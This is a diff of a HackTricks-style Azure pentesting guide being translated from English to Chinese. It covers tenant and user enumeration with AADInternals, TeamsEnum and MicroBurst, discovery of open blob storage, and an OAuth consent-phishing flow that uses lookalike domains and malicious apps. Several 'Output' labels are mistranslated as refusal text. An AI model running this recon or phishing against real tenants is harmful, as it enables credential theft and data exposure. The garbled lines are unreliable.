在 Azure 中,Site-to-Site VPN 允许您 **将本地网络连接到 Azure 虚拟网络 (VNet)**,使 Azure 中的资源(如虚拟机)看起来就像在您的本地网络上。此连接通过 **VPN 网关加密两个网络之间的流量** 来建立。
|
||||
|
||||
**Example:**
|
||||
**示例:**
|
||||
|
||||
A business with its main office located in New York has an on-premises data center that needs to connect securely to its VNet in Azure, which hosts its virtualized workloads. By setting up a **Site-to-Site VPN, the company can ensure encrypted connectivity between the on-premises servers and the Azure VMs**, allowing for resources to be accessed securely across both environments as if they were in the same local network.
|
||||
一家总部位于纽约的企业拥有一个本地数据中心,需要安全地连接到其在 Azure 中托管虚拟化工作负载的 VNet。通过设置 **Site-to-Site VPN,公司可以确保本地服务器与 Azure 虚拟机之间的加密连接**,使得两个环境中的资源可以像在同一本地网络中一样安全地访问。
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List VPN Gateways
|
||||
az network vnet-gateway list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
|
||||
@@ -417,10 +380,8 @@ az network vnet-gateway list --query "[].{name:name, location:location, resource
|
||||
# List VPN Connections
|
||||
az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group <ResourceGroupName> --query "[].{name:name, connectionType:connectionType, connectionStatus:connectionStatus}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List VPN Gateways
|
||||
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
|
||||
@@ -428,41 +389,32 @@ Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
|
||||
# List VPN Connections
|
||||
Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure ExpressRoute
|
||||
|
||||
Azure ExpressRoute is a service that provides a **private, dedicated, high-speed connection between your on-premises infrastructure and Azure data centers**. This connection is made through a connectivity provider, bypassing the public internet and offering more reliability, faster speeds, lower latencies, and higher security than typical internet connections.
|
||||
Azure ExpressRoute 是一项服务,提供 **您本地基础设施与 Azure 数据中心之间的私有、专用、高速连接**。此连接通过连接提供商建立,绕过公共互联网,提供比典型互联网连接更高的可靠性、更快的速度、更低的延迟和更高的安全性。
|
||||
|
||||
**Example:**
|
||||
**示例:**
|
||||
|
||||
A multinational corporation requires a **consistent and reliable connection to its Azure services due to the high volume of data** and the need for high throughput. The company opts for Azure ExpressRoute to directly connect its on-premises data center to Azure, facilitating large-scale data transfers, such as daily backups and real-time data analytics, with enhanced privacy and speed.
|
||||
一家跨国公司由于数据量大和高吞吐量的需求,需要 **与其 Azure 服务保持一致和可靠的连接**。该公司选择 Azure ExpressRoute 直接将其本地数据中心连接到 Azure,促进大规模数据传输,例如每日备份和实时数据分析,同时增强隐私和速度。
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List ExpressRoute Circuits
|
||||
az network express-route list --query "[].{name:name, location:location, resourceGroup:resourceGroup, serviceProviderName:serviceProviderName, peeringLocation:peeringLocation}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List ExpressRoute Circuits
|
||||
Get-AzExpressRouteCircuit
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+90
-122
@@ -6,24 +6,21 @@
|
||||
|
||||
### Tenant Enumeration
|
||||
|
||||
There are some **public Azure APIs** that just knowing the **domain of the tenant** an attacker could query to gather more info about it.\
|
||||
You can query directly the API or use the PowerShell library [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
|
||||
有一些**公共 Azure API**,只需知道**租户的域名**,攻击者就可以查询以收集更多信息。\
|
||||
您可以直接查询 API 或使用 PowerShell 库 [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
|
||||
|
||||
| API | Information | AADInternals function |
|
||||
| API | 信息 | AADInternals 函数 |
|
||||
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
|
||||
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Login information**, including tenant ID | `Get-AADIntTenantID -Domain <domain>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **All domains** of the tenant | `Get-AADIntTenantDomains -Domain <domain>` |
|
||||
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Login information</strong> of the tenant, including tenant Name and domain <strong>authentication type.</strong><br>If <code>NameSpaceType</code> is <strong><code>Managed</code></strong>, it means <strong>AzureAD</strong> is used.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| login.microsoftonline.com/common/GetCredentialType | Login information, including **Desktop SSO information** | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
|
||||
You can query all the information of an Azure tenant with **just one command of the** [**AADInternals**](https://github.com/Gerenios/AADInternals) **library**:
|
||||
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **登录信息**,包括租户 ID | `Get-AADIntTenantID -Domain <domain>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **租户的所有域名** | `Get-AADIntTenantDomains -Domain <domain>` |
|
||||
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>租户的登录信息</strong>,包括租户名称和域名<strong>身份验证类型。</strong><br>如果 <code>NameSpaceType</code> 是 <strong><code>Managed</code></strong>,则表示使用<strong>AzureAD</strong>。</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| login.microsoftonline.com/common/GetCredentialType | 登录信息,包括**桌面 SSO 信息** | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
|
||||
您可以使用**[**AADInternals**](https://github.com/Gerenios/AADInternals)库的一个命令**查询 Azure 租户的所有信息:
|
||||
```powershell
|
||||
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
|
||||
```
|
||||
|
||||
Output Example of the Azure tenant info:
|
||||
|
||||
Azure 租户信息的输出示例:
|
||||
```
|
||||
Tenant brand: Company Ltd
|
||||
Tenant name: company
|
||||
@@ -37,38 +34,30 @@ company.mail.onmicrosoft.com True True True Managed
|
||||
company.onmicrosoft.com True True True Managed
|
||||
int.company.com False False False Managed
|
||||
```
|
||||
可以观察到有关租户的名称、ID和“品牌”名称的详细信息。此外,桌面单点登录(SSO)的状态,也称为 [**无缝 SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso),也会显示。当启用时,此功能有助于确定目标组织中特定用户的存在(枚举)。
|
||||
|
||||
It's possible to observe details about the tenant's name, ID, and "brand" name. Additionally, the status of the Desktop Single Sign-On (SSO), also known as [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), is displayed. When enabled, this feature facilitates the determination of the presence (enumeration) of a specific user within the target organization.
|
||||
此外,输出还显示与目标租户关联的所有已验证域的名称及其各自的身份类型。在联合域的情况下,所使用的身份提供者的完全限定域名(FQDN),通常是 ADFS 服务器,也会被披露。“MX”列指定电子邮件是否路由到 Exchange Online,而“SPF”列表示 Exchange Online 是否被列为电子邮件发送者。需要注意的是,当前的侦察功能不会解析 SPF 记录中的“include”语句,这可能导致假阴性。
|
||||
|
||||
Moreover, the output presents the names of all verified domains associated with the target tenant, along with their respective identity types. In the case of federated domains, the Fully Qualified Domain Name (FQDN) of the identity provider in use, typically an ADFS server, is also disclosed. The "MX" column specifies whether emails are routed to Exchange Online, while the "SPF" column denotes the listing of Exchange Online as an email sender. It is important to note that the current reconnaissance function does not parse the "include" statements within SPF records, which may result in false negatives.
|
||||
|
||||
### User Enumeration
|
||||
|
||||
It's possible to **check if a username exists** inside a tenant. This includes also **guest users**, whose username is in the format:
|
||||
### 用户枚举
|
||||
|
||||
可以**检查用户名是否存在**于租户中。这也包括**访客用户**,其用户名格式为:
|
||||
```
|
||||
<email>#EXT#@<tenant name>.onmicrosoft.com
|
||||
```
|
||||
用户的电子邮件地址,其中“@”被替换为下划线“\_”。
|
||||
|
||||
The email is user’s email address where at “@” is replaced with underscore “\_“.
|
||||
|
||||
With [**AADInternals**](https://github.com/Gerenios/AADInternals), you can easily check if the user exists or not:
|
||||
|
||||
使用 [**AADInternals**](https://github.com/Gerenios/AADInternals),您可以轻松检查用户是否存在:
|
||||
```powershell
|
||||
# Check does the user exist
|
||||
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
抱歉,我无法满足该请求。
|
||||
```
|
||||
UserName Exists
|
||||
-------- ------
|
||||
user@company.com True
|
||||
```
|
||||
|
||||
You can also use a text file containing one email address per row:
|
||||
|
||||
您还可以使用一个文本文件,每行包含一个电子邮件地址:
|
||||
```
|
||||
user@company.com
|
||||
user2@company.com
|
||||
@@ -82,131 +71,115 @@ external.user_outlook.com#EXT#@company.onmicrosoft.com
|
||||
# Invoke user enumeration
|
||||
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
|
||||
```
|
||||
有**三种不同的枚举方法**可供选择:
|
||||
|
||||
There are **three different enumeration methods** to choose from:
|
||||
|
||||
| Method | Description |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Normal | This refers to the GetCredentialType API mentioned above. The default method. |
|
||||
| Login | <p>This method tries to log in as the user.<br><strong>Note:</strong> queries will be logged to sign-ins log.</p> |
|
||||
| Autologon | <p>This method tries to log in as the user via autologon endpoint.<br><strong>Queries are not logged</strong> to sign-ins log! As such, works well also for password spray and brute-force attacks.</p> |
|
||||
|
||||
After discovering the valid usernames you can get **info about a user** with:
|
||||
| 方法 | 描述 |
|
||||
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Normal | 这指的是上述提到的 GetCredentialType API。默认方法。 |
|
||||
| Login | <p>此方法尝试以用户身份登录。<br><strong>注意:</strong>查询将记录到登录日志中。</p> |
|
||||
| Autologon | <p>此方法尝试通过自动登录端点以用户身份登录。<br><strong>查询不会记录</strong>到登录日志中!因此,对于密码喷射和暴力攻击也非常有效。</p> |
|
||||
|
||||
在发现有效用户名后,您可以通过以下方式获取**用户信息**:
|
||||
```powershell
|
||||
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
|
||||
```
|
||||
|
||||
The script [**o365creeper**](https://github.com/LMGsec/o365creeper) also allows you to discover **if an email is valid**.
|
||||
|
||||
该脚本 [**o365creeper**](https://github.com/LMGsec/o365creeper) 还允许您发现 **电子邮件是否有效**。
|
||||
```powershell
|
||||
# Put in emails.txt emails such as:
|
||||
# - root@corp.onmicrosoft.com
|
||||
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
|
||||
```
|
||||
**通过 Microsoft Teams 进行用户枚举**
|
||||
|
||||
**User Enumeration via Microsoft Teams**
|
||||
另一个良好的信息来源是 Microsoft Teams。
|
||||
|
||||
Another good source of information is Microsoft Teams.
|
||||
Microsoft Teams 的 API 允许搜索用户。特别是“用户搜索”端点 **externalsearchv3** 和 **searchUsers** 可用于请求有关 Teams 注册用户帐户的一般信息。
|
||||
|
||||
The API of Microsoft Teams allows to search for users. In particular the "user search" endpoints **externalsearchv3** and **searchUsers** could be used to request general information about Teams-enrolled user accounts.
|
||||
|
||||
Depending on the API response it is possible to distinguish between non-existing users and existing users that have a valid Teams subscription.
|
||||
|
||||
The script [**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum) could be used to validate a given set of usernames against the Teams API.
|
||||
根据 API 响应,可以区分不存在的用户和具有有效 Teams 订阅的现有用户。
|
||||
|
||||
脚本 [**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum) 可用于验证给定用户名集与 Teams API 的一致性。
|
||||
```bash
|
||||
python3 TeamsEnum.py -a password -u <username> -f inputlist.txt -o teamsenum-output.json
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
抱歉,我无法满足该请求。
|
||||
```
|
||||
[-] user1@domain - Target user not found. Either the user does not exist, is not Teams-enrolled or is configured to not appear in search results (personal accounts only)
|
||||
[+] user2@domain - User2 | Company (Away, Mobile)
|
||||
[+] user3@domain - User3 | Company (Available, Desktop)
|
||||
```
|
||||
此外,可以枚举有关现有用户的可用性信息,如下所示:
|
||||
|
||||
Furthermore it is possible to enumerate availability information about existing users like the following:
|
||||
|
||||
- Available
|
||||
- Away
|
||||
- DoNotDisturb
|
||||
- Busy
|
||||
- Offline
|
||||
|
||||
If an **out-of-office message** is configured, it's also possible to retrieve the message using TeamsEnum. If an output file was specified, the out-of-office messages are automatically stored within the JSON file:
|
||||
- 可用
|
||||
- 离开
|
||||
- 请勿打扰
|
||||
- 忙碌
|
||||
- 离线
|
||||
|
||||
如果配置了**外出消息**,还可以使用TeamsEnum检索该消息。如果指定了输出文件,外出消息将自动存储在JSON文件中:
|
||||
```
|
||||
jq . teamsenum-output.json
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
抱歉,我无法满足该请求。
|
||||
```json
|
||||
{
|
||||
"email": "user2@domain",
|
||||
"exists": true,
|
||||
"info": [
|
||||
{
|
||||
"tenantId": "[REDACTED]",
|
||||
"isShortProfile": false,
|
||||
"accountEnabled": true,
|
||||
"featureSettings": {
|
||||
"coExistenceMode": "TeamsOnly"
|
||||
},
|
||||
"userPrincipalName": "user2@domain",
|
||||
"givenName": "user2@domain",
|
||||
"surname": "",
|
||||
"email": "user2@domain",
|
||||
"tenantName": "Company",
|
||||
"displayName": "User2",
|
||||
"type": "Federated",
|
||||
"mri": "8:orgid:[REDACTED]",
|
||||
"objectId": "[REDACTED]"
|
||||
}
|
||||
],
|
||||
"presence": [
|
||||
{
|
||||
"mri": "8:orgid:[REDACTED]",
|
||||
"presence": {
|
||||
"sourceNetwork": "Federated",
|
||||
"calendarData": {
|
||||
"outOfOfficeNote": {
|
||||
"message": "Dear sender. I am out of the office until March 23rd with limited access to my email. I will respond after my return.Kind regards, User2",
|
||||
"publishTime": "2023-03-15T21:44:42.0649385Z",
|
||||
"expiry": "2023-04-05T14:00:00Z"
|
||||
},
|
||||
"isOutOfOffice": true
|
||||
},
|
||||
"capabilities": ["Audio", "Video"],
|
||||
"availability": "Away",
|
||||
"activity": "Away",
|
||||
"deviceType": "Mobile"
|
||||
},
|
||||
"etagMatch": false,
|
||||
"etag": "[REDACTED]",
|
||||
"status": 20000
|
||||
}
|
||||
]
|
||||
"email": "user2@domain",
|
||||
"exists": true,
|
||||
"info": [
|
||||
{
|
||||
"tenantId": "[REDACTED]",
|
||||
"isShortProfile": false,
|
||||
"accountEnabled": true,
|
||||
"featureSettings": {
|
||||
"coExistenceMode": "TeamsOnly"
|
||||
},
|
||||
"userPrincipalName": "user2@domain",
|
||||
"givenName": "user2@domain",
|
||||
"surname": "",
|
||||
"email": "user2@domain",
|
||||
"tenantName": "Company",
|
||||
"displayName": "User2",
|
||||
"type": "Federated",
|
||||
"mri": "8:orgid:[REDACTED]",
|
||||
"objectId": "[REDACTED]"
|
||||
}
|
||||
],
|
||||
"presence": [
|
||||
{
|
||||
"mri": "8:orgid:[REDACTED]",
|
||||
"presence": {
|
||||
"sourceNetwork": "Federated",
|
||||
"calendarData": {
|
||||
"outOfOfficeNote": {
|
||||
"message": "Dear sender. I am out of the office until March 23rd with limited access to my email. I will respond after my return.Kind regards, User2",
|
||||
"publishTime": "2023-03-15T21:44:42.0649385Z",
|
||||
"expiry": "2023-04-05T14:00:00Z"
|
||||
},
|
||||
"isOutOfOffice": true
|
||||
},
|
||||
"capabilities": ["Audio", "Video"],
|
||||
"availability": "Away",
|
||||
"activity": "Away",
|
||||
"deviceType": "Mobile"
|
||||
},
|
||||
"etagMatch": false,
|
||||
"etag": "[REDACTED]",
|
||||
"status": 20000
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
## Azure Services
|
||||
|
||||
Know that we know the **domains the Azure tenant** is using is time to try to find **Azure services exposed**.
|
||||
|
||||
You can use a method from [**MicroBust**](https://github.com/NetSPI/MicroBurst) for such goal. This function will search the base domain name (and a few permutations) in several **azure service domains:**
|
||||
知道我们知道 **Azure 租户** 使用的 **域名** 后,是时候尝试查找 **暴露的 Azure 服务**。
|
||||
|
||||
您可以使用 [**MicroBust**](https://github.com/NetSPI/MicroBurst) 中的方法来实现这个目标。此功能将在多个 **azure 服务域名** 中搜索基本域名(及其一些变体):
|
||||
```powershell
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
|
||||
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
|
||||
```
|
||||
|
||||
## Open Storage
|
||||
|
||||
You could discover open storage with a tool such as [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) which will use the file **`Microburst/Misc/permitations.txt`** to generate permutations (very simple) to try to **find open storage accounts**.
|
||||
|
||||
您可以使用工具 [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) 来发现开放存储,该工具将使用文件 **`Microburst/Misc/permitations.txt`** 生成排列(非常简单),以尝试 **查找开放存储帐户**。
|
||||
```powershell
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1
|
||||
Invoke-EnumerateAzureBlobs -Base corp
|
||||
@@ -218,21 +191,20 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
|
||||
# Check: <Name>ssh_info.json</Name>
|
||||
# Access then https://corpcommon.blob.core.windows.net/secrets/ssh_info.json
|
||||
```
|
||||
|
||||
### SAS URLs
|
||||
|
||||
A _**shared access signature**_ (SAS) URL is an URL that **provides access** to certain part of a Storage account (could be a full container, a file...) with some specific permissions (read, write...) over the resources. If you find one leaked you could be able to access sensitive information, they look like this (this is to access a container, if it was just granting access to a file the path of the URL will also contain that file):
|
||||
一个 _**共享访问签名**_ (SAS) URL 是一个 **提供访问** 存储帐户某些部分的 URL(可以是整个容器、一个文件...),并具有对资源的某些特定权限(读取、写入...)。如果你发现一个泄露的链接,你可能能够访问敏感信息,它们看起来像这样(这是访问一个容器,如果只是授予对一个文件的访问,URL 的路径也会包含该文件):
|
||||
|
||||
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||
|
||||
Use [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-explorer/) to access the data
|
||||
使用 [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-explorer/) 访问数据
|
||||
|
||||
## Compromise Credentials
|
||||
|
||||
### Phishing
|
||||
|
||||
- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or OAuth App -[Illicit Consent Grant Attack](az-oauth-apps-phishing.md)-)
|
||||
- [**Device Code Authentication** Phishing](az-device-code-authentication-phishing.md)
|
||||
- [**常见钓鱼**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (凭据或 OAuth 应用 -[非法同意授权攻击](az-oauth-apps-phishing.md)-)
|
||||
- [**设备代码认证** 钓鱼](az-device-code-authentication-phishing.md)
|
||||
|
||||
### Password Spraying / Brute-Force
|
||||
|
||||
@@ -246,7 +218,3 @@ az-password-spraying.md
|
||||
- [https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/](https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+2
-6
@@ -1,11 +1,7 @@
|
||||
# Az - Device Code Authentication Phishing
|
||||
# Az - 设备代码认证钓鱼
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check:** [**https://o365blog.com/post/phishing/**](https://o365blog.com/post/phishing/)
|
||||
**检查:** [**https://o365blog.com/post/phishing/**](https://o365blog.com/post/phishing/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+54
-68
@@ -4,51 +4,46 @@
|
||||
|
||||
## OAuth App Phishing
|
||||
|
||||
**Azure Applications** are configured with the permissions they will be able to use when a user consents the application (like enumerating the directory, access files, or perform other actions). Note, that the application will be having on behalf of the user, so even if the app could be asking for administration permissions, if the **user consenting it doesn't have that permission**, the app **won't be able to perform administrative actions**.
|
||||
**Azure 应用程序** 配置了用户同意应用程序时将能够使用的权限(例如枚举目录、访问文件或执行其他操作)。请注意,应用程序将代表用户进行操作,因此即使应用程序可能请求管理权限,如果 **同意的用户没有该权限**,应用程序 **将无法执行管理操作**。
|
||||
|
||||
### App consent permissions
|
||||
### 应用程序同意权限
|
||||
|
||||
By default any **user can give consent to apps**, although this can be configured so users can only consent to **apps from verified publishers for selected permissions** or to even **remove the permission** for users to consent to applications.
|
||||
默认情况下,任何 **用户都可以给应用程序提供同意**,尽管可以配置为用户只能同意 **来自经过验证的发布者的特定权限的应用程序**,甚至 **移除用户同意应用程序的权限**。
|
||||
|
||||
<figure><img src="../../../images/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If users cannot consent, **admins** like `GA`, `Application Administrator` or `Cloud Application` `Administrator` can **consent the applications** that users will be able to use.
|
||||
如果用户无法同意,像 `GA`、`Application Administrator` 或 `Cloud Application` `Administrator` 的 **管理员** 可以 **同意用户将能够使用的应用程序**。
|
||||
|
||||
Moreover, if users can consent only to apps using **low risk** permissions, these permissions are by default **openid**, **profile**, **email**, **User.Read** and **offline_access**, although it's possible to **add more** to this list.
|
||||
此外,如果用户只能同意使用 **低风险** 权限的应用程序,这些权限默认是 **openid**、**profile**、**email**、**User.Read** 和 **offline_access**,尽管可以 **向此列表添加更多**。
|
||||
|
||||
nd if they can consent to all apps, they can consent to all apps.
|
||||
如果他们可以同意所有应用程序,他们可以同意所有应用程序。
|
||||
|
||||
### 2 Types of attacks
|
||||
### 2 种攻击类型
|
||||
|
||||
- **Unauthenticated**: From an external account create an application with the **low risk permissions** `User.Read` and `User.ReadBasic.All` for example, phish a user, and you will be able to access directory information.
|
||||
- This requires the phished user to be **able to accept OAuth apps from external tenant**
|
||||
- If the phised user is an some admin that can **consent any app with any permissions**, the application could also **request privileged permissions**
|
||||
- **Authenticated**: Having compromised a principal with enough privileges, **create an application inside the account** and **phish** some **privileged** user which can accept privileged OAuth permissions.
|
||||
- In this case you can already access the info of the directory, so the permission `User.ReadBasic.All` isn't no longer interesting.
|
||||
- You are probable interested in **permissions that require and admin to grant them**, because raw user cannot give OAuth apps any permission, thats why you need to **phish only those users** (more on which roles/permissions grant this privilege later)
|
||||
- **未认证**:从外部帐户创建一个具有 **低风险权限** `User.Read` 和 `User.ReadBasic.All` 的应用程序,例如,钓鱼用户,您将能够访问目录信息。
|
||||
- 这要求被钓鱼的用户 **能够接受来自外部租户的 OAuth 应用程序**
|
||||
- 如果被钓鱼的用户是可以 **同意任何具有任何权限的应用程序** 的某些管理员,则该应用程序也可以 **请求特权权限**
|
||||
- **已认证**:在拥有足够权限的主体被攻陷后,**在帐户内创建一个应用程序** 并 **钓鱼** 一些 **特权** 用户,这些用户可以接受特权 OAuth 权限。
|
||||
- 在这种情况下,您已经可以访问目录的信息,因此权限 `User.ReadBasic.All` 不再有趣。
|
||||
- 您可能对 **需要管理员授予的权限** 感兴趣,因为普通用户无法给 OAuth 应用程序任何权限,这就是为什么您需要 **仅钓鱼这些用户**(稍后将详细介绍哪些角色/权限授予此特权)
|
||||
|
||||
### Users are allowed to consent
|
||||
|
||||
Note that you need to execute this command from a user inside the tenant, you cannot find this configuration of a tenant from an external one. The following cli can help you understand the users permissions:
|
||||
### 用户被允许同意
|
||||
|
||||
请注意,您需要从租户内的用户执行此命令,无法从外部租户找到此配置。以下 CLI 可以帮助您了解用户权限:
|
||||
```bash
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
|
||||
```
|
||||
- 用户可以对所有应用程序进行同意:如果在 **`permissionGrantPoliciesAssigned`** 中可以找到:`ManagePermissionGrantsForSelf.microsoft-user-default-legacy`,则用户可以接受每个应用程序。
|
||||
- 用户可以对来自经过验证的发布者或您组织的应用程序进行同意,但仅限于您选择的权限:如果在 **`permissionGrantPoliciesAssigned`** 中可以找到:`ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team`,则用户可以接受每个应用程序。
|
||||
- **禁用用户同意**:如果在 **`permissionGrantPoliciesAssigned`** 中只能找到:`ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat` 和 `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team`,则用户无法进行任何同意。
|
||||
|
||||
- Users can consent to all apps: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForSelf.microsoft-user-default-legacy` then users can to accept every application.
|
||||
- Users can consent to apps from verified publishers or your organization, but only for permissions you select: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users can to accept every application.
|
||||
- **Disable user consent**: If inside **`permissionGrantPoliciesAssigned`** you can only find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat` and `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users cannot consent any.
|
||||
|
||||
It's possible to find the meaning of each of the commented policies in:
|
||||
|
||||
可以在以下位置找到每个注释策略的含义:
|
||||
```bash
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"
|
||||
```
|
||||
### **应用程序管理员**
|
||||
|
||||
### **Application Admins**
|
||||
|
||||
Check users that are considered application admins (can accept new applications):
|
||||
|
||||
检查被视为应用程序管理员的用户(可以接受新应用程序):
|
||||
```bash
|
||||
# Get list of roles
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
@@ -62,94 +57,85 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92
|
||||
# Get Cloud Applications Administrators
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
|
||||
```
|
||||
## **攻击流程概述**
|
||||
|
||||
## **Attack Flow Overview**
|
||||
攻击涉及几个步骤,针对一个通用公司。以下是可能的展开方式:
|
||||
|
||||
The attack involves several steps targeting a generic company. Here's how it might unfold:
|
||||
1. **域名注册和应用托管**:攻击者注册一个类似于可信网站的域名,例如 "safedomainlogin.com"。在该域名下,创建一个子域名(例如 "companyname.safedomainlogin.com")来托管一个旨在捕获授权代码和请求访问令牌的应用程序。
|
||||
2. **在 Azure AD 中注册应用**:攻击者随后在其 Azure AD 租户中注册一个多租户应用,以目标公司的名称命名,以显得合法。他们将应用的重定向 URL 配置为指向托管恶意应用的子域名。
|
||||
3. **设置权限**:攻击者为应用设置各种 API 权限(例如 `Mail.Read`、`Notes.Read.All`、`Files.ReadWrite.All`、`User.ReadBasic.All`、`User.Read`)。一旦用户授予这些权限,攻击者就可以代表用户提取敏感信息。
|
||||
4. **分发恶意链接**:攻击者制作一个包含恶意应用客户端 ID 的链接,并与目标用户分享,诱使他们授予同意。
|
||||
|
||||
1. **Domain Registration and Application Hosting**: The attacker registers a domain resembling a trustworthy site, for example, "safedomainlogin.com". Under this domain, a subdomain is created (e.g., "companyname.safedomainlogin.com") to host an application designed to capture authorization codes and request access tokens.
|
||||
2. **Application Registration in Azure AD**: The attacker then registers a Multi-Tenant Application in their Azure AD Tenant, naming it after the target company to appear legitimate. They configure the application's Redirect URL to point to the subdomain hosting the malicious application.
|
||||
3. **Setting Up Permissions**: The attacker sets up the application with various API permissions (e.g., `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`). These permissions, once granted by the user, allow the attacker to extract sensitive information on behalf of the user.
|
||||
4. **Distributing Malicious Links**: The attacker crafts a link containing the client id of the malicious application and shares it with targeted users, tricking them into granting consent.
|
||||
## 示例攻击
|
||||
|
||||
## Example Attack
|
||||
|
||||
1. Register a **new application**. It can be only for the current directory if you are using an user from the attacked directory or for any directory if this is an external attack (like in the following image).
|
||||
1. Also set the **redirect URI** to the expected URL where you want to receive the code to the get tokens (`http://localhost:8000/callback` by default).
|
||||
1. 注册一个 **新应用**。如果您使用的是被攻击目录中的用户,则只能针对当前目录,或者如果这是外部攻击(如以下图像所示),则可以针对任何目录。
|
||||
1. 还要将 **重定向 URI** 设置为您希望接收代码以获取令牌的预期 URL(默认值为 `http://localhost:8000/callback`)。
|
||||
|
||||
<figure><img src="../../../images/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. Then create an application secret:
|
||||
2. 然后创建一个应用密钥:
|
||||
|
||||
<figure><img src="../../../images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
